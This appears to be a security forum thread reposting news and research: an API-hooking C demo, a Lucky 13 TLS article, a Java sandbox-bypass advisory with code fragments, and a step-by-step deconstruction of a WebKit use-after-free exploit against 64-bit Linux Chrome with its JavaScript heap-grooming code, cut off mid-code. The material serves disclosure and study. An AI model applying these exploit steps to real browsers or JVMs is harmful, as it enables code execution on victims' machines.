Nytro

E posibil ca unele servere sa verifice HTTP_REFERER si daca vad ca se face request de pe alt server sa dea cod de eroare. Pune niste exemple.

Defrag Tools: #26 - WinDbg - Semaphores, Mutexes and Timers By: Larry Larsen, Andrew Richards, Chad Beeder How do I download the videos? To download, right click the file type you would like and pick “Save target as…” or “Save link as…” Why should I download videos from Channel9? It's an easy way to save the videos you like locally. You can save the videos in order to watch them offline. If all you want is to hear the audio, you can download the MP3! Which version should I choose? If you want to view the video on your PC, Xbox or Media Center, download the High Quality WMV file (this is the highest quality version we have available). If you'd like a lower bitrate version, to reduce the download time or cost, then choose the Medium Quality WMV file. If you have a Zune, WP7, iPhone, iPad, or iPod device, choose the low or medium MP4 file. If you just want to hear the audio of the video, choose the MP3 file. Right click “Save as…” MP3 (Audio only) File size 46.7 MB MP4 (iPod, Zune HD) File size 281.5 MB Mid Quality WMV (Lo-band, Mobile) File size 167.7 MB High Quality MP4 (iPad, PC) File size 619.7 MB Mid Quality MP4 (WP7, HTML5) File size 432.3 MB High Quality WMV (PC, Xbox, MCE) In this episode of Defrag Tools, Andrew Richards, Chad Beeder and Larry Larsen continue looking at the Debugging Tools for Windows (in particular WinDbg). WinDbg is a debugger that supports user mode debugging of a process, or kernel mode debugging of a computer. This installment goes over the commands used to diagnose Semaphores, Mutexes and (Waitable) Timers in a user mode application. For timers, we delve deep in to the kernel to gather more information about them. We use these commands: !handle !handle <handle> <mask> !object <name> !object <addr> !timer !timer <addr> ub @rip dt nt!_KTHREAD <addr> Make sure you watch Defrag Tools Episode #1 and Defrag Tools Episode #23 for instructions on how to get the Debugging Tools for Windows and how to set the required environment variables for symbol and source code resolution. Resources: Synchronization Functions Semaphore Objects Mutex Objects Waitable Timer Objects Sysinternals LiveKD Sysinternals WinObj Windows 7 and Windows Server 2008 R2 Kernel Changes (Timer Coalescing) Timeline: [02:47] - Demo Apps [SkyDrive] [03:08] - Semaphores [09:32] - Mutexes [15:32] - Waitable Timers [15:58] - Clock Resolution [17:05] - Timer Coalescing [19:45] - Timer demo application [25:05] - LiveKD makes a kernel dump [26:37] - Object Manager - !object [29:40] - DPC Timers - !timer [35:22] - !timer <addr> [35:52] - Waiting Threads - !thread <addr> 17 [37:08] - Wait Start TickCount [38:55] - Kernel Wait Routines [41:12] - Dump Type of Kernel Thread - dt nt!_KTHREAD <addr> [42:00] - Running, Ready and Waiting states [44:54] - Wakable Timers [47:22] - powercfg.exe /waketimers [49:18] - 'Century' DPC Timer Routine [50:43] - Post in the forums and email us at defragtools@microsoft.com! Sursa: Defrag Tools: #26 - WinDbg - Semaphores, Mutexes and Timers | Defrag Tools | Channel 9

[h=1]How to: iOS 6.x Untethered Jailbreak on Linux[/h] The following tutorial will teach Linux users how to jailbreak their Apple iPhone 3GS, iPhone 4/4S, iPad 2/3/4 and iPod Touch 4G/5G devices that run iOS 6 or later. In this tutorial we will use the recently released evasi0n jailbreak tool, which runs on Linux, Mac OS X and Windows platforms. In no more than five minutes, your iDevice will be jailbreaked, only if you read the following information and warnings carefully. Supported devices: · iPhone 3GS; · iPhone 4 GSM; · iPhone 4S; · iPod Touch 4G; · iPod Touch 5G; · iPad 2 Wi-Fi; · iPad 2 3G; · iPad 2 2012; · iPad 3 Wi-Fi · iPad 3 Wi-Fi + 4G; · iPad 4 Wi-Fi; · iPad 4 Wi-Fi + 4G; · iPad Mini Wi-Fi; · iPad Mini 3G. Requirements: · evasi0n 1.0; · A device from the above list with iOS 6.0, 6.0.1 or 6.1; · A Linux distribution with a recent version of libimobiledevice library, kernel >= 2.6.24, and libgtk+-2.0 >= 2.24.13. WARNING:Make sure that your iPad, iPhone or iPod device is supported (see the supported devices list at the beginning of the article) and that is was already updated to iOS 6.x. Those of you who require a network unlock DO NOT PROCEED with the tutorial! ATTENTION: ALWAYS make a backup of your device(s) before the jailbreak procedure! Make sure the battery is charged over 50% and that the device is connected to the computer via the USB cable! Not meeting these requirements will result in a failure! Step 1 – Download and execute evasi0n You can grab a copy of the evasi0n jailbreak tool right now from here. Download it on your desktop and extract the file from the archive. Both 32-bit and 64-bit architectures are supported. Connect your iDevice and double-click the executable for your architecture and you will see the following window... [TABLE=align: center] [TR] [TD][/TD] [/TR] [/TABLE] Your device will be detected, and all you have to do now is to click the "Jailbreak" button. DO NOT PUSH ANY BUTTONS! DO NOT TOUCH THE COMPUTER! DO NOT REMOVE ANY CABLE! When the progress bar on the evasi0n tool is complete, and the evasi0n icon appears on your device, launch it to complete the jailbreak process! When evasi0n finished the jailbreak process, reboot the device and you'll see the Cydia icon on the home screen of your iDevice, which means that the jailbreak process is over and you can restore the backup. Watch the video below for more details! Sursa: How to: iOS 6.x Untethered Jailbreak on Linux - Softpedia

[h=1]JavaScript becoming default language for GNOME apps[/h] At the GNOME Developer Experience Hackfest in Brussels, the GNOME developer community has tackled the problem of specifying a canonical development language for writing applications for the GNOME desktop. According to a blog post by Collabora engineer and GNOME developer Travis Reitter, members of the GNOME team are often asked what tools should be used when writing an application for the desktop environment and, up until now, there has been no definitive answer. The team has now apparently decided to standardise on JavaScript for user-facing applications while still recommending C as the language to write system libraries in. The Hackfest took place in the days immediately preceding the FOSDEM 2013 conference in Brussels and was well attended by representatives from many different open source companies. There was a "broad consensus" to adopt a single language for GNOME application development, says Reitter. He points out that a canonical language enables the developers to more easily prepare documentation for, and share knowledge with, newcomers to the development community. It also helps more easily integrate applications written for the desktop with the desktop's infrastructure. After a long discussion weighing the arguments for and against several languages, the developers apparently decided on JavaScript, as it is already well supported in GNOME 3 by virtue of the fact that the desktop's GNOME Shell interface uses it to implement its user interface. Reitter also points to ongoing work to make JavaScript better supported as a first class desktop development language. GNOME's JavaScript plans are informed in part by how the language is used for similar purposes in Windows 8, Firefox OS and other systems, and that, the team hopes, will make it easier for developers who are new to GNOME to work with it. Despite the fact that JavaScript will be the recommended way to write GNOME applications, the developers are nonetheless stressing that other languages will still be supported. "It's critical that everyone understands this decision as a plan to elevate the language, bindings, tools, and documentation to a level of quality we have not yet achieved. It is not a decision to abandon any other language bindings", says Reitter. (fab) Sursa: JavaScript becoming default language for GNOME apps - The H Open: News and Features

ApiHooks 6 ApiHooks 6 is a set of libraries and tools for advanced process modification and noninvasive debugging on Microsoft® Windows® NT 3.51, 4.0, 2000, XP, 2003, Vista, 2008, 7 x86 and x64. AH6 is not compatible with AH5. It can hook even autochk at boot time or a process before its full initialization (= before DllMains of statically linked modules are first time executed). Works under any account and doesn't modify files. There's still no need for services or kernel drivers. ApiHooks 6 is free. Current version : 6.8 Previous version : 6.6 Previous version : 6.51 Previous version : 6.5 Previous version : 6.4 Previous version : 6.3 Sursa: ApiHooks 6 - ApiHooks.com

[h=1][c] API hooking demo[/h]Author: [h=3]nofrillz[/h] As part of my honours project I need to hook API's in different programs, so I've written a suite of functions which make it easy to hook. The body of the code is fairly messy, so I won't post it until I've tidied it up, but here's the main function I use to make this dynamic: // structure for trampolines typedef void* (*HOOKED)(void); typedef struct _TRAMPOLINE { BYTE callstuff[6]; // this will be set constantly int num; HOOKED hooked; struct _TRAMPOLINE* next; } TRAMPOLINE, *PTRAMPOLINE; DWORD SetupTrampoline(DWORD* tramp){ int i=0; // find trampoline we want PTRAMPOLINE trampaddr = tramplist; PTRAMPOLINE lasttramp = tramplist; if(!tramplist){ trampaddr = (PTRAMPOLINE) calloc(1, sizeof(TRAMPOLINE)); tramplist = trampaddr; } else{ while(trampaddr){ i++; lasttramp = trampaddr; trampaddr = trampaddr->next; } trampaddr = (PTRAMPOLINE) calloc(1, sizeof(TRAMPOLINE)); lasttramp->next = trampaddr; } // make trampoline executable DWORD oldperms; VirtualProtect(LPVOID ( ((DWORD) trampaddr) & 0xFFFFF000 ), 0x1000, PAGE_EXECUTE_READWRITE, &oldperms); // update the trampoline struct trampaddr->callstuff[0] = 0xE8; // call trampaddr->callstuff[5] = 0xC3; //ret DWORD funcaddress = ((DWORD) &MessageBoxWrapper) - ((DWORD) &trampaddr->callstuff) - 5; *((DWORD*) &trampaddr->callstuff[1]) = funcaddress; trampaddr->hooked = (HOOKED) *tramp; trampaddr->num = i; //hooked = (HOOKED) *tramp; return (DWORD) trampaddr; } void* MessageBoxWrapper(void){ _asm{ pop eax sub eax,5 mov curtramp, eax } // get trampoline sprintf(mbnum, "Hook number #%d", curtramp->num); MessageBox(0, mbnum, "dynamic hooking", 0); if(curtramp->hooked) return (curtramp->hooked)(); else return NULL; } The key to this is the TRAMPOLINE struct. The 6-byte array at the start holds a CALL to the MessageBoxWrapper function (named as this originally just hooked the MessageBoxW function) and a RET afterwards, which isn't strictly necessary as we negate the call later on. The SetupTrampoline function saves a copy of the function we're hooking as a type HOOKED (a pointer that we can call), and returns a pointer to the TRAMPOLINE struct (which when called, will call the MessageBoxWrapper function). Once the TRAMPOLINE struct is set up, the function overwriting the import table (will be covered when I tidy up my other code) will store the pointer to it, and then when the infected process calls that API, it ends up calling the TRAMPOLINE struct instead, which then calls MessageBoxWrapper. The CALL opcode pushes the address of the next piece of code onto the stack and does a jump, so we push that off, subtract 5 from it (1 byte for CALL and 4 bytes for the address), and this gives us the pointer to the TRAMPOLINE struct. Because it's a data structure, we can extract any details that we added in earlier (so there's room for expansion here), but all we really need to do is jump to the address in the hooked parameter and we're done. I'm using vs05 for this, and it might not build the same for everyone, but doing return hooked() actually compiles to a JMP, which means the stack is untouched, and once it gets to the original function the stack is clear and any trace of us having messed with things is gone. Sursa: [c] API hooking demo - rohitab.com - Forums

Unlucky for you: UK crypto-duo 'crack' HTTPS in Lucky 13 attack OpenSSL patch to protect against TLS decryption boffinry By John Leyden • Get more from this author Posted in Security, 4th February 2013 16:58 GMT Two scientists say they have identified a new weakness in TLS, the encryption system used to safeguard online shopping, banking and privacy. The design flaw, revealed today, could be exploited to snoop on passwords and other sensitive information sent by users to HTTPS websites. Professor Kenny Paterson from the Information Security Group at Royal Holloway, University of London and PhD student Nadhem Alfardan claim they can crack TLS-encrypted traffic in a man-in-the-middle attack. According to their study, the weakness revolves around altering messages exchanged between the web server and browser, and noting microsecond differences in the time taken to process them. These timings effectively leak information about the data being transferred, allowing eavesdroppers to rebuild the original unencrypted information slowly piece by piece. Specifically, an attacker strategically changes the data used to pad out the encrypted blocks of information, and measures the time taken for the server to work out that the message was tampered with before rejecting it. The progress of the algorithms processing the blocks is revealed by this time difference, and it's enough to gradually calculate the contents of the original message. But it is tricky to precisely measure these timings due to network jitter and other effects. And tampering with the data will cause the connection between the browser and the server to fail. Thus, a bit of client-side malware is needed to repeatedly probe a server with new connections, replaying slightly altered versions of the original encrypted message, which might for example be a login cookie. This is similar to the earlier BEAST (Browser Exploit Against SSL/TLS) attack. We're told attacks against DTLS - a variant of TLS used by VPNs to secure traffic - can be carried out in a single session. Speaking to El Reg, Prof Paterson said JavaScript code injected into a web page could implement the new research and decrypt a victim's login cookie in about two hours: "An ordinary cyber-criminal would just use a phishing attack [to get a password] but for a nation state interested in getting an activist's login cookie for Tor, this sort of attack is possible for a determined and well-resourced attacker. "TLS is not quite as bullet-proof as we thought." A paper [PDF] titled Lucky Thirteen: Breaking the TLS and DTLS Record Protocols was published on Monday, and states: The Transport Layer Security (TLS) protocol aims to provide confidentiality and integrity of data in transit across untrusted networks like the Internet. It is widely used to secure web traffic and e-commerce transactions on the Internet. Datagram TLS (DTLS) is a variant of TLS that is growing in importance. We have found new attacks against TLS and DTLS that allow a Man-in-the-Middle attacker to recover plaintext from a TLS/DTLS connection when CBC-mode encryption is used. The attacks arise from a flaw in the TLS specification rather than as a bug in specific implementations. We have carried out experiments to demonstrate the feasibility of the attacks against the OpenSSL and GnuTLS implementations of TLS, and we have studied the source code of other implementations to determine whether they are likely to be vulnerable. Professor Paterson said: "While these attacks do not pose a significant threat to ordinary users in its current form, attacks only get better with time. Given TLS's extremely widespread use, it is crucial to tackle this issue now. "Luckily we have discovered a number of countermeasures that can be used. We have been working with a number of companies and organisations, including OpenSSL, Google and Oracle, to test their systems against attack and put the appropriate defences in place." The attacks apply to all TLS and DTLS implementations that are compliant with TLS 1.1 or 1.2, or with DTLS 1.0 or 1.2. All TLS and DTLS cipher-suites that include CBC-mode encryption are potentially vulnerable. Like CRIME (Compression Ratio Info-leak Made Easy) and the earlier BEAST SSL exploit, both developed by security researchers Juliano Rizzo and Thai Duong, the Royal Holloway academics' Lucky Thirteen study threatens a fundamental e-commerce security protocol. The latest attacks "are quite different from BEAST and CRIME" as the university pair explain in an FAQ: BEAST exploits the inadvisable use of chained IVs in CBC-mode in SSL and TLS 1.0. CRIME cleverly exploits the use of compression in TLS. Our attacks are based on analysing how decryption processing is carried out in TLS. However, our attacks can be enhanced by combining them with BEAST-style techniques. The computer-science duo tested their attack against OpenSSL and GnuTLS. For OpenSSL, full plaintext recovery of encrypted data is possible. For GnuTLS, partial recovery is possible. The researchers have not studied any closed-source implementations of TLS. Blocking the attack can be achieved by either adding random time delays to CBC-mode decryption or switching to either the RC4 or AES-GCM cipher-suites. GnuTLS released a patch on Monday. OpenSSL is working on a fix. Other vendors, including web browser developers, may also need to adapt their software in response to the threat. ® Bootnote The researchers have a neat explanation for why the attack they have developed is called Lucky Thirteen: "In Western culture, 13 is considered an unlucky number. However, for our attack, the fact that the TLS MAC calculation includes 13 bytes of header information (5 bytes of TLS header plus 8 bytes of TLS sequence number) is, in part, what makes the attacks possible. So, in the context of our attacks, 13 is lucky - from the attacker's perspective at least. This is what passes for humour amongst cryptographers." Sursa: Unlucky for you: UK crypto-duo 'crack' HTTPS in Lucky 13 attack • The Register PDF: http://www.isg.rhul.ac.uk/tls/TLStiming.pdf

Java SE CPU Feb 2013 Updates Explained Authored by Adam Gowdiak | Site security-explorations.com These are the technical details surrounding security issues reported by Security Explorations to Oracle and addressed in the Feb 2013 SE CPU update. Hello All, Below, we are providing you with technical details regarding security issues reported by us to Oracle and addressed by the company in a recent Feb 2013 Java SE CPU [1]. [Issue 29] This issue allows for the creation of arbitrary Proxy objects for interfaces defined in restricted packages. Proxy objects defined in a NULL class loader namespaces are of a particular interest here. Such objects can be used to manipulate instances of certain restricted classes. In our Proof of Concept code we create such a proxy object for the com.sun.xml.internal.bind.v2.model.nav.Navigator interface. In order to use the aforementioned proxy object, we need an instance of that interface too. We obtain it with the help of Issue 28, which allows to access arbitrary field objects from restricted classes and interfaces. As a result, by combining Issue 27-29, one can use Navigator interface and make use of its sensitive Reflection API functionality such as obtaining access to methods of arbitrary classes. That condition can be further leveraged to obtain a complete JVM security bypass. Please, note that our Proof of Concept code for Issues 27-29 was reported to Oracle in Apr 2012 and depending Issues 27-28 were addressed by the company sooner than Issue 29. Testing of the PoC will thus give best results on older versions of Java SE 7. [Issue 50] Issue 50 allows to violate a fundamental security constraint of Java VM, which is type safety. This vulnerability is another instance of the problem related to the unsafe deserialization implemented by com.sun.corba.se.impl.io.ObjectStreamClass class. Its first instance was fixed by Oracle in Oct 2011 [2] and it stemmed from the fact that during deserialization insufficient type checks were done with respect to object references that were written to target object instance created by the means of deserialization. Such a reference writing was accomplished with the use of a native functionality of sun.corba.Bridge class. The problem that we found back in Sep 2012 was very similar to the first one. It was located in the same code (class) and was also exploiting direct writing of object references to memory with the use of putObject method. While the first type confusion issue allowed to write object references of incompatible types to correct field offsets, Issue 50 relied on the possibility to write object references of incompatible types to...invalid field offsets. It might be also worth to mention that Issue 50 was found to be present in Java SE Embedded [3]. That is Java version that is based on desktop Java SE and is used in today’s most powerful embedded systems such as aircraft and medical systems [4]. We verified that Oracle Java SE Embedded ver. 7 Update 6 from 10 Aug 2012 for ARM / Linux contained vulnerable implementation of ObjectStreamClass class. Unfortunately, we don't know any details regarding the impact of Issue 50 in the embedded space (which embedded systems are vulnerable to it, whether any feasible attack vectors exist, etc.). So, it's up to Oracle to clarify any potential concerns in that area. [Issue 52] Issue 52 relies on the possibility to call no-argument methods on arbitrary objects or classes. The vulnerability has its origin in com.sun.jmx.mbeanserver.Introspector class which is located in the same package as the infamous MBeanInstantiator bug found in the wild in early Jan 2013. The flaw stems from insecure call to invoke method of java.lang.reflect.Method class: if (method != null) return method.invoke(obj, new Object[0]); In our Proof of Concept code we exploit the above implementation by making a call to getDeclaredMethods method of java.lang.Class class to gain access to methods of restricted classes. This is accomplished with the use of the following code sequence: Introspector.elementFromComplex((Object)clazz,"declaredMethods") Access to public method objects of arbitrary restricted classes is sufficient to achieve a complete Java VM security sandbox compromise. We make use of DefiningClassLoader exploit vector for that purpose. [Issue 53] Issue 53 stems from the fact that Oracle's implementation of new security levels introduced by the company in Java SE 7 Update 10 did not take into account the fact that Applets can be instantiated with the use of serialization. Such a possibility is indicated both in HTML 4 Specification [5] as well as in Oracle's code. HTML 4 Specification contains the following description for the "object" attribute of APPLET element: object = cdata [CS] This attribute names a resource containing a serialized representation of an applet's state. It is interpreted relative to the applet's codebase. The serialized data contains the applet's class name but not the implementation. The class name is used to retrieve the implementation from a class file or archive. Additionally, Java 7 Update 10 (and 11) reveal the following code logic when it comes to the implementation of new security features (Java Control Panel security levels). [excerpt from sun.plugin2.applet.Plugin2Manager class] String object_attr = getSerializedObject(); String code_attr = getCode(); ... if(code_attr != null) { Class class1 = plugin2classloader.loadCode(code_attr); ... if(class1 != null) if (fireAppletSSVValidation()) ... } else { if(!isSecureVM) return; adapter.instantiateSerialApplet(plugin2classloader,object_attr); ... } The above clearly shows that the conditional block implementing Applet instantiation via deserialization does not contain a call to fireAppletSSVValidation method. This method conducts important security checks corresponding to security levels configured by Java Control Panel. The lack of a call to security checking method is equivalent to "no protection at all" as it allows for a silent Java exploit in particular. What's worth mentioning is that for Google Chrome the following HTML sequence needed to be used to activate target Applet code: <object type="application/x-java-applet" object="BlackBox.ser"> --- We have made our original reports sent to Oracle and describing Issues 29, 50, 52 and 53 available for download from our project details page: http://www.security-explorations.com/en/SE-2012-01-details.html Along with those reports we have also published the results of our quick Vulnerability Fix Experiment regarding Issue 50. We've never heard a word from Oracle regarding it. Company's fix for Issue 50 is not a mirror of the one we had proposed, but it does rely on Class object instances for hashtable access / caching of translated ObjectStreamClass fields. At the end, we would like to question Oracle's evaluation of the impact of Java vulnerabilities fixed by the Feb 2013 Java SE CPU. Oracle emphasized that patched vulnerabilities affect primarily Java Plugin / desktop environments and that only 3 of them apply to client and server deployments of Java. The 3 vulnerabilities Oracle refers to are specifically the following ones: CVE-2013-0437 Subcomponent 2D CVE-2013-1478 Subcomponent 2D CVE-2013-1480 Subcomponent AWT None of the vulnerabilities above seem to refer to the components where our discoveries were made (i.e. CORBA, JMX / BEANS). The tests we have conducted yesterday against the latest version of Oracle GlassFish Server 3.1.2.2 (with security manager enabled) and RMI Registry from JDK 7 Update 11 confirmed the possibility to launch an attack against remote RMI server with the use of a Java SE vulnerability. We tested Issues patched by the recent CPU such as the MBeanInstantiator bug, Issue 50 and 52 and were able to: 1) remotely load custom classes into the target Java RMI server (over RMI protocol), 2) completely break Java security sandbox with the use of a Java SE vulnerability (the one which "can be exploited only through untrusted Java Web Start applications / untrusted Java applets" according to Oracle's CPU). Although Oracle is aware [6] that Java SE vulnerabilities can be also exploited "in servers, by supplying malicious input to APIs in the vulnerable server component", the company rather undermines such a possibility by delivering a message that a majority of the vulnerabilities affect Java Plugin in the web browser or that in some cases, the exploitation scenario of Java SE bugs on servers is very improbable. In general, relying on a vulnerable Java SE version makes all of the products depending on it potentially vulnerable unless there is absolutely *no way* that a vulnerable component can be reached by an attacker. As long as an attack vector through RMI protocol is valid, a potential for remote exploitation of security issues in Java SE on servers should be always concerned. Thank You. Best Regards, Adam Gowdiak --------------------------------------------- Security Explorations http://www.security-explorations.com "We bring security research to the new level" --------------------------------------------- References: [1] Oracle Java SE Critical Patch Update Advisory - February 2013 http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html [2] Oracle Java IIOP Deserialization Type Confusion Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-11-306/ [3] Oracle Java SE Embedded http://www.oracle.com/us/technologies/java/embedded/standard-edition/overview/index.html [4] Oracle making embedded Java push http://www.infoworld.com/d/application-development/oracle-making-embedded-java-push-203168 [5] HTML 4 Specification, Including an applet: the APPLET element http://www.w3.org/TR/html401/struct/objects.html#h-13.4 [6] February 2013 Critical Patch Update for Java SE Released https://blogs.oracle.com/security/entry/february_2013_critical_patch_update Sursa: Java SE CPU Feb 2013 Updates Explained ? Packet Storm

Metasploit SIP Penetration Testing Modules Authored by Fatih Ozavci | Site github.com SIP library for Metasploit is developed to help SIP Penetration Tests. It provides authentication feature that helps to create simple tests. It includes 5 different modules with authentication support: options tester, brute forcer, enumerator, invite tester and registration tester. All attacks could perform before and after authentication to fuzz SIP services and value added services. Download: http://packetstormsecurity.com/files/download/120053/sipmodules.zip Sursa: Metasploit SIP Penetration Testing Modules ? Packet Storm

FireSQL MySQL Firewall Authored by Luis Campo Giralte | Site github.com FireSQL is a tool to provide firewall services for MySQL databases by using regular expressions and other rules. Download: http://packetstormsecurity.com/files/download/120047/firesql-master.zip Sursa: FireSQL MySQL Firewall ? Packet Storm

Peste cadavrul meu.

[h=3]Exploiting 64-bit Linux like a boss[/h] Back in November 2012, a Chrome Releases blog post mysteriously stated: "Congratulations to Pinkie Pie for completing challenge: 64-bit exploit". Chrome patches and autoupdates bugs pretty fast but this is a WebKit bug and not every consumer of WebKit patches bugs particularly quickly. So I've waited a few months to release a full breakdown of the exploit. The exploit is notable because it is against 64-bit Linux. 64-bit exploits are generally harder than 32-bit exploits for various reasons, including the fact that some types of heap sprays are off the table. On top of that, Linux ASLR is generally better than Windows ASLR (although not perfect). For example, Pinkie Pie's Pwnium 2 exploit defeated Win 7 ASLR by relying on a statically-addressed system object! That sort of nonsense is generally absent from Linux ASLR. Without any further ado, I'll paste my raw notes from the exploit deconstruction below. The number of different techniques used and steps involved is quite impressive. The bug A single WebKit use-after-free bug was used to gain code execution. The logic flaw in WebKit was reasonably simple: when a WebCore::HTMLVideoElement is garbage collected, the base class member WebCore::HTMLMediaElement::m_player -- a WebCore::MediaPlayer -- is freed. A different object, a WebCore::MediaSource, holds a stale pointer to the freed WebCore::MediaPlayer. The stale pointer can be prodded indirectly via Javascript methods on either the JS MediaSource object, or JS SourceBuffer objects owned by the JS MediaSource. The exploit The exploit is moderately complicated, with multiple steps and techniques used. Pinkie Pie states that the complexity is warranted and generally caused by limited lack of control, and therefore limited options for making progress at each stage. The exploit steps are as follows: 1. Allocate a large number of RTCIceCandidate objects (100000) and then unreference a small subset of them. [/B] tempia = new Uint32Array(176/4); rtcs = []; rtcstring = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; rtcdesc = {'candidate': rtcstring, 'sdpMid': rtcstring} for(var i = 0; i < 100000; i++) { rtcs.push(new RTCIceCandidate(rtcdesc)); } for(var i = 0; i < 10000; i++) rtcs[i] = null; for(var i = 90000; i < 100000; i++) rtcs[i] = null;[B] This step indirectly creates a lot of WebCore::WebCoreStringResource (v8 specific) objects and a later garbage collection will free some subset of them. These objects are 24 bytes in size (fitting into a tcmalloc slab of 32 byte sized allocations), so it means that any future 24 byte allocation has a large probability of being placed directly before a WebCore::WebCoreStringResource object. This is significant later. A 176-byte sized buffer is also allocated. 2. Trigger free of MediaPlayer and the 176-byte sized buffer; allocate another MediaSource object. [/B] buffer = ms.addSourceBuffer('video/webm; codecs="vorbis,vp8"'); vid.parentNode.removeChild(vid); vid = null; gc(); tempia = null; gc(); ms2 = new WebKitMediaSource(); sbl = ms2.sourceBuffers;[B] The WebCore::MediaPlayer is 264 bytes in size (tcmalloc bucket 257 - 288). When it is freed, many child objects are also freed. The only important one is a 168 byte sized WebKit::WebMediaPlayerClientImpl object (tcmalloc bucket 161 - 176). Allocation of the WebCore::MediaSource (176 bytes) also subsequently allocates a WebCore::SourceBufferList child object (168 bytes). The free of the temporary 176 byte buffer (tempia) is to ensure that its freed slot is used for the WebCore::MediaSource object, leaving the freed slot that was occupied by a WebKit::WebMediaPlayerClientImpl to be occupied by a new WebCore::SourceBufferList object. 3. Call vtable of freed WebMediaPlayerClientImpl. buffer.timestampOffset = 42; // free In C++, this triggers the call chain WebCore::SourceBuffer -> WebCore::MediaSource -> WebCore::MediaPlayer -> (virtual) WebKit::WebMediaPlayerClientImpl. You’ll notice that the call chain bounces through the WebCore::MediaPlayer, which is freed. However, the only access is to the WebCore::MediaPlayer::m_private member at offset 72. delete’ing the object only interferes with the first 16 bytes (on account of tcmalloc writing two freelist pointers) and the WebCore::MediaPlayer::m_mediaPlayerClient member. The WebCore::MediaPlayer free slot isn’t otherwise meaningfully re-used by this point. What happens next is fascinating. WebCore::MediaPlayer::sourceSetTimestampOffset dissassembles to: [/FONT][/B] 0x00007f61a0ced4c0 <+0>: mov rdi,QWORD PTR [rdi+0x48] 0x00007f61a0ced4c4 <+4>: mov rax,QWORD PTR [rdi] 0x00007f61a0ced4c7 <+7>: mov rax,QWORD PTR [rax+0x208] 0x00007f61a0ced4ce <+14>: jmp rax[B][FONT=Arial] This loads the vtable for the WebCore::MediaPlayer::m_private member and calls the vtable function at 0x208. WebCore::MediaPlayer::m_private is supposed to be a WebKit::WebMediaPlayerClientImpl object but a WebCore::SourceBufferList was overlayed there. WebCore::SourceBufferList objects have a vtable, but a much smaller one! Offset 0x208 in this vtable hits a vtable function in a totally different vtable, specifically WebCore::RefCountedSupplement::~RefCountedSupplement, which disassembles to: [/B][/B] 0x00007ffd9ec51e00 <+0>: lea rax,[rip+0x3276969] 0x00007ffd9ec51e07 <+7>: mov QWORD PTR [rdi],rax 0x00007ffd9ec51e0a <+10>: jmp 0x7ffd9e5b2c80 <WTF::fastFree(void*)>[B][B] As these opcodes execute, rdi is a this pointer for a WebCore::SourceBufferList object (which the calling code believed was a this pointer to a WebKit::WebMediaPlayerClientImpl object). As you can see, the side effects of these opcodes are: - Trash the vtable pointer of the WebCore::SourceBufferList object. - Do a free(this), i.e free the WebCore::SourceBufferList object. - Return cleanly to the caller. 4. Use HTML5 WebDatabase functionality to allocate a SQLStatement as a side effect. transaction.executeSql('derp', [], function() {}, function() {}); slength = sbl.length; A WebCore::SQLStatement object is 176 bytes in size. So it is allocated into the slot just vacated by free’ing the WebCore::SourceBufferList object in step 3 above. This is the same slot that we free’d the WebKit::WebMediaPlayerClientImpl from. There are now two Javascript objects pointing to freed objects: a direct handle to a freed WebCore::SourceBufferList (sbl) and an indirect handle to a freed WebKit::WebMediaPlayerClientImpl (buffer). At this time, a call is made in Javascript to sbl.length. It is not required for the exploit and nothing is done with the integer result, but looking at this call under the covers is instructive. To return the length, a 64-bit size_t is read from offset 136 into the WebCore::SourceBufferList object. Since a WebCore::SQLStatement was put on top of the freed WebCore::SourceBufferList, the actual value read is a WebCore::SQLStatement::m_statementErrorCallbackWrapper::m_callback member pointer. Leaking this value to Javascript might be useful as it is a heap address. However, Javascript lengths are 32-bit so only the lower 32-bits of the address are leaked. The entropy that’s important for ASLR on 64-bit Linux is largely in the next 8 bits above the bottom 32 bits, so the heap address cannot be usefully leaked! Exploitation of similar overlap situations would not be a problem on systems with 32-bit pointers. 5. Abuse overlapping fields in SourceBufferList vs. SQLStatement. sb = sbl[0xa8/8]; Next, the Javascript array index operator is used. At this time, the Javascript handle to the WebCore::SourceBufferList is actually backed by a WebCore::SQLStatement object at the C++ level. The WebCore::SourceBufferList::m_list member is a WTF::Vector and that starts with two important 64-bit fields: a length and a pointer to the underlying buffer. As covered above, the length now maps to a pointer value. A pointer value, when treated as an integer, will be very large, effectively sizing the vector massively. And the vector’s underlying buffer pointer now maps to the member SQLStatement::m_statementErrorCallbackWrapper::m_scriptExecutionContext. Therefore, the Javascript array operator on JS SourceBufferList will return a JS SourceBuffer object which is backed in C++ by a pointer pulled from somewhere in a C++ WebCore::ScriptExecutionContent object, depending on the array index. The exploit uses array index 21, which corresponds to offset 168, or WebCore::ScriptExecutionContext::m_pendingExceptions. This is a pointer to a WTF::Vector. So, there is now a Javascript handle to a JS SourceBuffer object which is really backed by a WTF::Vector. 6. Read vtable value as a Javascript number. converterF64[0] = sb.timestampOffset; In C++, the timestampOffset property is read from a 64-bit double at offset 32 of the WebCore::SourceBuffer object. The WebCore::SourceBuffer object is currently backed by a WTF::Vector object, which is 24 bytes in size and lives in a 32 byte tcmalloc slot. Therefore, a read at offset 32 will in fact read from the beginning of the next tcmalloc slot. Looking back to step 1, it was arranged to be likely that the adjacent 32 byte slot will contain a WebCore::WebCoreStringResource object. Therefore, the WebCore::WebCoreStringResource vtable is read and returned to Javascript as a number. Javascript numbers are 64-bit doubles so there are no truncation issues like those discussed with reading an integer length above in step 4. That’s a lot of effort, but finally the exploit has leaked a vtable value to Javascript. For a given build of Chrome, it is now easy to calculate the exact address of all opcodes, functions, etc. in the binary. 7. Re-trigger use-after-free and back freed object with array buffer. [/FONT][/B][/B] buffer2 = ms3.addSourceBuffer('video/webm; codecs="vorbis,vp8"'); vid2.parentNode.removeChild(vid2); vid2 = null; gc(); var ia = new Uint32Array(168/4); rtc2 = new webkitRTCPeerConnection({'iceServers': []});This time, the freed WebKit::WebMediaPlayerClientImpl[B][B][FONT=Arial] is replaced with a 168 raw byte buffer that can be read and written through Javascript. This is now a useful primitive because ASLR was defeated and a useful vtable pointer value can be put in the first 8 bytes of the raw byte buffer. A WebCore::RTCPeerConnection is also allocated (264 bytes) to occupy the slot for the freed WebCore::MediaPlayer. This protects the freed WebCore::MediaPlayer from corruption. Significantly, it makes sure nothing overwrites the WebCore::MediaPlayer::m_private pointer. This pointer is needed intact. It is at offset 72 and WebCore::RTCPeerConnection does not overwrite that field during construction. 8. Leak address of a heap buffer under Javascript control. [/B][/B] add64(converterI32, 0, converterI32, 0, -prepdata['found_vt']); add64(ia, 